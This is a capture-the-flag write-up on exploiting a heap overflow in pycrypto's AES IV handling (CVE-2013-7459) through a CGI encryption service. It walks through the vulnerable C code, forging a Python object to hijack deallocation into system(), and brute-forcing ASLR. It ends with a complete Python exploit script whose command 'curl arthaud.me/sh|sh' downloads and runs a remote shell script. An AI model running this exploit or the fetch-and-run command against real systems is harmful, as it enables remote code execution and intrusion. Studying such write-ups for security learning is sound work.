cryptmsg - Writeup by Maxima
Challenge
Can you find the bug?
Solution
The website allows us to encrypt and decrypt messages using AES. The encryption is performed by cryptmsg.py, using the python library pycrypto. After a few searches, I found out that there was a bug in pycrypto: https://github.com/dlitz/pycrypto/issues/176. We can use this vulnerability to get a shell.
I first tried to guess the architecture on the server. I managed to get it by causing a python stacktrace:
curl "http://136.243.194.56:8000/cgi-bin/cryptmsg.py?what=enc&msg=AAAAAAAAAAAAAAAA&key=AAAAAAAAAAAAAAAA&mode=42&iv=AAAAAAAAAAAAAAAA"
In the stacktrace, the path to the shared object is /usr/lib/pyth…t-packages/Crypto/Cipher/_AES.i386-linux-gnu.so
, se we know that the architecture is i386
(x86 32bits). I also assumed that the server runs on Ubuntu Server 15.10, since that was what they were running on some of their other challenge servers. I quickly set up a virtual machine to have the same environment.
Then I dove more deeply in the source code. Here is the code in src/block_templace.c
in pycrypto source code:
static ALGobject * ALGnew(PyObject *self, PyObject *args, PyObject *kwdict) { unsigned char *key, *IV; ALGobject * new=NULL; int keylen, IVlen=0, mode=MODE_ECB, segment_size=0; PyObject *counter = NULL; int counter_shortcut = 0; // [...] /* Set default values */ if (!PyArg_ParseTupleAndKeywords(args, kwdict, "s#|is#Oi", kwlist, &key, &keylen, &mode, &IV, &IVlen, &counter, &segment_size)) { return NULL; } // [...] new = newALGobject(); // [...] memset(new->IV, 0, BLOCK_SIZE); memset(new->oldCipher, 0, BLOCK_SIZE); memcpy(new->IV, IV, IVlen); // buffer overflow! new->mode = mode; new->count=BLOCK_SIZE; /* stores how many bytes in new->oldCipher have been used */ return new; }
And here is the ALGobject structure:
#define BLOCK_SIZE 16 typedef struct { PyObject_HEAD int mode, count, segment_size; unsigned char IV[BLOCK_SIZE], oldCipher[BLOCK_SIZE]; PyObject *counter; int counter_shortcut; block_state st; } ALGobject;
Thus there is a heap buffer overflow on IV
. We can basically write as many bytes as we want on a part of the heap.
The next step is to get the control of the execution flow. The idea is to overwrite the counter
pointer to introduce a fake python object. Here is what a python object structure looks like:
typedef struct _object { Py_ssize_t ob_refcnt; struct _typeobject *ob_type; } PyObject;
The first element is the reference counter on this object. The second element is a pointer on the type of the object. Here is the type structure:
typedef struct _typeobject { Py_ssize_t ob_refcnt; struct _typeobject *ob_type; Py_ssize_t ob_size; /* Number of items in variable part */ const char *tp_name; /* For printing, in format "<module>.<name>" */ Py_ssize_t tp_basicsize, tp_itemsize; /* For allocation */ /* Methods to implement standard operations */ destructor tp_dealloc; printfunc tp_print; getattrfunc tp_getattr; setattrfunc tp_setattr; cmpfunc tp_compare; reprfunc tp_repr; // [...] } PyTypeObject;
We are going to create a fake object associated to a fake type. When the object gets deallocated, the function pointer tp_dealloc
will be used. In the fake type, we will put a pointer on a gadget to get a shell. Fortunately, system()
is available in the PLT.
I found a nice gadget in the python binary, using ropper:
0x81580d6: push edx 0x81580d7: call DWORD PTR [eax+0x18]
When the object is deallocated, edx
contains the address of the type, and eax
contains the address of the object. We can create a fake object and a fake type that will execute a command:
def p(v): return struct.pack('<I', v) fake_object = p(1) # ref counter fake_object += p(fake_type_addr) # type object fake_object += b'\x00' * 16 fake_object += p(system_addr) fake_type = cmd.ljust(24, b'\x00') fake_type += p(call_gadget)
Here, call_gadget = 0x81580d6
and system_addr = 0x0805a2f0
(you can get them easily using gdb). The problem is that we don't know yet where our fake_object and fake_type will be because of ASLR. The heap is mapped to a random address. Because the server runs on a 32bits architecture, we know that we can bruteforce it. We will put our fake_object and fake_type a lot of times in the memory, and use for fake_object_addr a potential address right in the middle of the heap.
I will execute the command curl arthaud.me/sh|sh
that'll give me a shell. Here is my final script:
#!/usr/bin/env python3 import struct import requests def p(v): return struct.pack('<I', v) cmd = b'curl arthaud.me/sh|sh\x00' system_addr = 0x0805a2f0 call_gadget = 0x81580d6 # push edx; call [eax + 0x18] fake_object_addr = 0x84d673c fake_type_addr = fake_object_addr + 0x1c fake_object = p(1) # ref counter fake_object += p(fake_type_addr) # type object fake_object += b'\x00' * 16 fake_object += p(system_addr) assert len(cmd) <= 24 fake_type = cmd.ljust(24, b'\x00') fake_type += p(call_gadget) payload = b'I' * 32 payload += p(fake_object_addr) data = (fake_object + fake_type) * 500 qs = 'key=' + 'A' * 16 qs += '&mode=1' qs += '&iv=' + ''.join('%%%02x' % c for c in payload) qs += '&x=' + ''.join('%%%02x' % c for c in data) i = 1 while True: print('\rAttempt %d' % i, end='') i += 1 requests.get('http://136.243.194.56:8000/cgi-bin/cryptmsg.py?%s' % qs)
You can also use Ricky Zhou exploit.
After a few hours, I finally got a shell!
EDIT: This vulnerability in pycrypto has been assigned CVE-2013-7459
Author
Maxime Arthaud 2016/01/07 14:11
A special thanks to Ricky Zhou for his help.